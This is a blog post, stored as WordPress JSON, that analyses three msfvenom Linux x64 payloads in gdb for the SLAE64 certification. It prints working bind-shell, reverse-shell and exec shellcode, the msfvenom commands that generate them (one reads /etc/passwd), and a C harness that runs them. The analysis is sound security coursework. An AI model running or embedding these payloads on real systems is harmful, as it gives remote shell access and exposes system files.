{"id":141,"date":"2021-10-10T20:18:59","date_gmt":"2021-10-10T18:18:59","guid":{"rendered":"https:\/\/areyou1or0.it\/?p=141"},"modified":"2021-10-10T21:13:46","modified_gmt":"2021-10-10T19:13:46","slug":"slae64-assignment-5-shellcode-analysis","status":"publish","type":"post","link":"https:\/\/areyou1or0.it\/index.php\/2021\/10\/10\/slae64-assignment-5-shellcode-analysis\/","title":{"rendered":"SLAE64: Assignment 5: Shellcode Analysis"},"content":{"rendered":"\n<p>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert (SLAE64) certification:<\/p>\n\n\n\n<p><a href=\"https:\/\/www.pentesteracademy.com\/course?id=7\">https:\/\/www.pentesteracademy.com\/course?id=7<\/a><\/p>\n\n\n\n<p>Student-ID:&nbsp;<strong>PA-15847<\/strong><\/p>\n\n\n\n<p>The Objectives for the Assignment:<\/p>\n\n\n\n<p>&#8211; <strong><code>Take up at least 3 shellcode samples created using msfpayload for linux x86<br>- use gdb to dissect the functionality of the shellcode<br>- document your analysis<\/code><\/strong><\/p>\n\n\n\n<p>I chose the following shellcode from msfvenom:<\/p>\n\n\n\n<ul><li>linux\/x64\/shell_bind_tcp<\/li><li>linux\/x64\/shell_reverse_tcp<\/li><li>linux\/x64\/exec<\/li><\/ul>\n\n\n\n<p>For <strong>linux\/x64\/shell_bind_tcp<\/strong>, I created the shellcode:<\/p>\n\n\n\n<p>msfvenom -p linux\/x64\/shell_bind_tcp -f c -b &#8220;\\x00&#8221;<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code><strong>\"\\x48\\x31\\xc9\\x48\\x81\\xe9\\xf5\\xff\\xff\\xff\\x48\\x8d\\x05\\xef\\xff\"\n\"\\xff\\xff\\x48\\xbb\\x62\\x5a\\x73\\xd6\\xc2\\x9b\\x6b\\x02\\x48\\x31\\x58\"\n\"\\x27\\x48\\x2d\\xf8\\xff\\xff\\xff\\xe2\\xf4\\x08\\x73\\x2b\\x4f\\xa8\\x99\"\n\"\\x34\\x68\\x63\\x04\\x7c\\xd3\\x8a\\x0c\\x39\\xc5\\x66\\x7e\\x71\\xd6\\xd3\"\n\"\\xc7\\x23\\x8b\\x84\\x30\\x63\\x8c\\xa8\\xaa\\x33\\x0d\\x67\\x30\\x41\\x8e\"\n\"\\xcd\\x9e\\x23\\x33\\x94\\x30\\x58\\x8e\\xcd\\x9e\\x23\\x95\\x08\\x59\\x2d\"\n\"\\x9e\\x3d\\x55\\x01\\x23\\x3a\\x55\\x76\\xa3\\x34\\xf1\\x50\\x5a\\xfb\\x12\"\n\"\\xc8\\xf9\\xa0\\xf2\\x05\\x2d\\x11\\x32\\x73\\x85\\x8a\\x12\\x8c\\x50\\x35\"\n\"\\x12\\xfa\\x30\\xcd\\x9e\\x6b\\x02\";<\/strong><\/code>\n<\/pre>\n\n\n\n<p>Put the shellcode in our generic shellcode.c file and compile it:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code><strong>#include&lt;stdio.h&gt;\n#include&lt;string.h&gt;\n\nunsigned char code[] = \"\";\n\nmain()\n{\n\tprintf(\"Shellcode Length:  %d\\n\", (int)strlen(code));\n\tint (*ret)() = (int(*)())code;\n\tret();\n}<\/strong><\/code><\/pre>\n\n\n\n<p>Compile the file:<\/p>\n\n\n\n<p><strong>gcc -fno-stack-protector -z execstack shellcode.c -o shellcode<\/strong><\/p>\n\n\n\n<p>Now we can start analyzing with the gdb:<\/p>\n\n\n\n<p><strong>gdb -q .\/shellcode -tui<\/strong><\/p>\n\n\n\n<p>As always, we write the following commands in gdb:<\/p>\n\n\n\n<p>(gdb) set disassembly-flavor intel<br>(gdb) break *&amp;code<br>(gdb) run<br>(gdb) layout asm<br>(gdb) layout regs<br>(gdb) stepi<\/p>\n\n\n\n<p>That&#8217;s what we see in the beginning when we hit the breakpoint<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"629\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.52.50-1024x629.png\" alt=\"\" class=\"wp-image-142\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.52.50-1024x629.png 1024w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.52.50-300x184.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.52.50-768x472.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.52.50-1536x943.png 1536w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.52.50-2048x1258.png 2048w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.52.50-1568x963.png 1568w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.52.50-600x368.png 600w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Continue hitting stepi until the loop is over<\/p>\n\n\n\n<p>Observe how we go through each syscalls as we wrote before in the previous assignments for bind shellcode (socket, bind, listen etc.)<\/p>\n\n\n\n<p>For instance here we go through accept syscall (0x2b &#8211;&gt; 43:syscall accept) <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"463\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.57.11-1024x463.png\" alt=\"\" class=\"wp-image-143\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.57.11-1024x463.png 1024w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.57.11-300x136.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.57.11-768x347.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.57.11-1536x694.png 1536w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.57.11-2048x925.png 2048w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.57.11-1568x708.png 1568w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.57.11-600x271.png 600w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>When we hit the last syscall, check on the port 4444 for a bind shell<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"666\" height=\"466\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.59.18.png\" alt=\"\" class=\"wp-image-144\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.59.18.png 666w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.59.18-300x210.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-19.59.18-600x420.png 600w\" sizes=\"(max-width: 666px) 100vw, 666px\" \/><\/figure>\n\n\n\n<p>Very straightforward. \ud83d\ude42<\/p>\n\n\n\n<p>Now let&#8217;s have a look at the next shellcode for linux\/x64\/shell_reverse_tcp:<\/p>\n\n\n\n<p>Let&#8217;s create the shellcode first:<\/p>\n\n\n\n<p>msfvenom -p linux\/x64\/shell_reverse_tcp lhost=127.0.0.1 -f c -b &#8220;\\x00&#8221;<\/p>\n\n\n\n<p><code><strong>\"\\x48\\x31\\xc9\\x48\\x81\\xe9\\xf6\\xff\\xff\\xff\\x48\\x8d\\x05\\xef\\xff\"<br>\"\\xff\\xff\\x48\\xbb\\xbe\\xdc\\x7d\\x8c\\xe8\\x08\\xc2\\xc6\\x48\\x31\\x58\"<br>\"\\x27\\x48\\x2d\\xf8\\xff\\xff\\xff\\xe2\\xf4\\xd4\\xf5\\x25\\x15\\x82\\x0a\"<br>\"\\x9d\\xac\\xbf\\x82\\x72\\x89\\xa0\\x9f\\x8a\\x7f\\xbc\\xdc\\x6c\\xd0\\x97\"<br>\"\\x08\\xc2\\xc7\\xef\\x94\\xf4\\x6a\\x82\\x18\\x98\\xac\\x94\\x84\\x72\\x89\"<br>\"\\x82\\x0b\\x9c\\x8e\\x41\\x12\\x17\\xad\\xb0\\x07\\xc7\\xb3\\x48\\xb6\\x46\"<br>\"\\xd4\\x71\\x40\\x79\\xe9\\xdc\\xb5\\x13\\xa3\\x9b\\x60\\xc2\\x95\\xf6\\x55\"<br>\"\\x9a\\xde\\xbf\\x40\\x4b\\x20\\xb1\\xd9\\x7d\\x8c\\xe8\\x08\\xc2\\xc6\";<\/strong><\/code><\/p>\n\n\n\n<p> <\/p>\n\n\n\n<p>Put the shellcode in our generic shellcode.c file and compile it:<\/p>\n\n\n\n<pre id=\"block-40f2ec48-3a38-4185-905b-5da73052018b\" class=\"wp-block-code\"><code><strong>#include&lt;stdio.h&gt;<br>#include&lt;string.h&gt;<br><br>unsigned char code&#91;] = \"\";<br><br>main()<br>{<br>\tprintf(\"Shellcode Length:  %d\\n\", (int)strlen(code));<br>\tint (*ret)() = (int(*)())code;<br>\tret();<br>}<\/strong><\/code><\/pre>\n\n\n\n<p>Compile the file<br><code><strong>gcc -fno-stack-protector -z execstack shellcode.c -o shellcode<\/strong><\/code><\/p>\n\n\n\n<p>Now we can start analyzing with the gdb:<\/p>\n\n\n\n<p><code><strong>gdb -q .\/shellcode -tui<\/strong><\/code><\/p>\n\n\n\n<p>As always, we write the following commands in gdb:<\/p>\n\n\n\n<p>(gdb) set disassembly-flavor intel<br>(gdb) break *&amp;code<br>(gdb) run<br>(gdb) layout asm<br>(gdb) layout regs<br>(gdb) stepi<\/p>\n\n\n\n<p>That&#8217;s what we see in the beginning when we hit the breakpoint<\/p>\n\n\n\n<p>We&#8217;ll see the following syscalls while we&#8217;re debugging the code and stepi&#8217;ing each line:<\/p>\n\n\n\n<p><strong><code>syscall socket<br>syscall connect<br>syscall read<br>syscall dup2<br>syscall execve<br>syscall close<\/code><\/strong><\/p>\n\n\n\n<p>For instance here, we see 42:syscall connect<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"640\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.08.04-1024x640.png\" alt=\"\" class=\"wp-image-145\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.08.04-1024x640.png 1024w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.08.04-300x188.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.08.04-768x480.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.08.04-1536x960.png 1536w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.08.04-2048x1280.png 2048w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.08.04-1568x980.png 1568w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.08.04-600x375.png 600w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>We continue with stepi until we go through each syscall and get a reverse shell at the end:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"818\" height=\"382\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.10.03.png\" alt=\"\" class=\"wp-image-146\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.10.03.png 818w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.10.03-300x140.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.10.03-768x359.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.10.03-600x280.png 600w\" sizes=\"(max-width: 818px) 100vw, 818px\" \/><\/figure>\n\n\n\n<p>The last shellcode we&#8217;ll analyze is <strong>linux\/x64\/exec<\/strong><\/p>\n\n\n\n<p>We&#8217;ll create the shellcode with the following command:<\/p>\n\n\n\n<p>msfvenom -p <strong>linux\/x64\/exec<\/strong> CMD=&#8221;cat \/etc\/\/passwd&#8221; -f c -b &#8220;\\x00&#8221;<\/p>\n\n\n\n<p>&#8220;\\x48\\x31\\xc9\\x48\\x81\\xe9\\xf9\\xff\\xff\\xff\\x48\\x8d\\x05\\xef\\xff&#8221;<br>&#8220;\\xff\\xff\\x48\\xbb\\xbe\\xcd\\x47\\x27\\x02\\x12\\xf0\\x80\\x48\\x31\\x58&#8221;<br>&#8220;\\x27\\x48\\x2d\\xf8\\xff\\xff\\xff\\xe2\\xf4\\xd4\\xf6\\x1f\\xbe\\x4a\\xa9&#8221;<br>&#8220;\\xdf\\xe2\\xd7\\xa3\\x68\\x54\\x6a\\x12\\xa3\\xc8\\x37\\x2a\\x2f\\x0a\\x61&#8221;<br>&#8220;\\x12\\xf0\\xc8\\x37\\x2b\\x15\\xcf\\x13\\x12\\xf0\\x80\\xdd\\xac\\x33\\x07&#8221;<br>&#8220;\\x2d\\x77\\x84\\xe3\\x91\\xe2\\x37\\x46\\x71\\x61\\x87\\xe4\\xbe\\x9b\\x10&#8221;<br>&#8220;\\x6f\\x8b\\xf4\\xff\\x85&#8221;;<\/p>\n\n\n\n<p>Again we go through the same steps as we did for the previous shellcodes to compile and run it with GDB TUI option:<\/p>\n\n\n\n<p>Again we start with the same setup:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"554\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.15.23-1024x554.png\" alt=\"\" class=\"wp-image-148\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.15.23-1024x554.png 1024w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.15.23-300x162.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.15.23-768x416.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.15.23-1536x831.png 1536w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.15.23-2048x1109.png 2048w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.15.23-1568x849.png 1568w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.15.23-600x325.png 600w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>First we go through the decoder stub and go through the loop<\/p>\n\n\n\n<p>Let&#8217;s see the registers when we hit the first syscall<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"361\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.17.08-1024x361.png\" alt=\"\" class=\"wp-image-149\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.17.08-1024x361.png 1024w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.17.08-300x106.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.17.08-768x271.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.17.08-1536x541.png 1536w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.17.08-2048x721.png 2048w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.17.08-1568x552.png 1568w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.17.08-600x211.png 600w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>When we step in the syscall, \/etc\/passwd file content will return<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"312\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.18.15-1024x312.png\" alt=\"\" class=\"wp-image-150\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.18.15-1024x312.png 1024w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.18.15-300x91.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.18.15-768x234.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.18.15-1536x467.png 1536w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.18.15-1568x477.png 1568w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.18.15-600x183.png 600w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2021\/10\/Screenshot-2021-10-10-at-20.18.15.png 1686w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert (SLAE64) certification: https:\/\/www.pentesteracademy.com\/course?id=7 Student-ID:&nbsp;PA-15847 The Objectives for the Assignment: &#8211; Take up at least 3 shellcode samples created using msfpayload for linux x86- use gdb to dissect the functionality of the shellcode- document your analysis I chose the following&hellip; <a class=\"more-link\" href=\"https:\/\/areyou1or0.it\/index.php\/2021\/10\/10\/slae64-assignment-5-shellcode-analysis\/\">Continue reading <span class=\"screen-reader-text\">SLAE64: Assignment 5: Shellcode Analysis<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[20],"tags":[],"_links":{"self":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/141"}],"collection":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/comments?post=141"}],"version-history":[{"count":2,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/141\/revisions"}],"predecessor-version":[{"id":162,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/141\/revisions\/162"}],"wp:attachment":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/media?parent=141"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/categories?post=141"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/tags?post=141"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}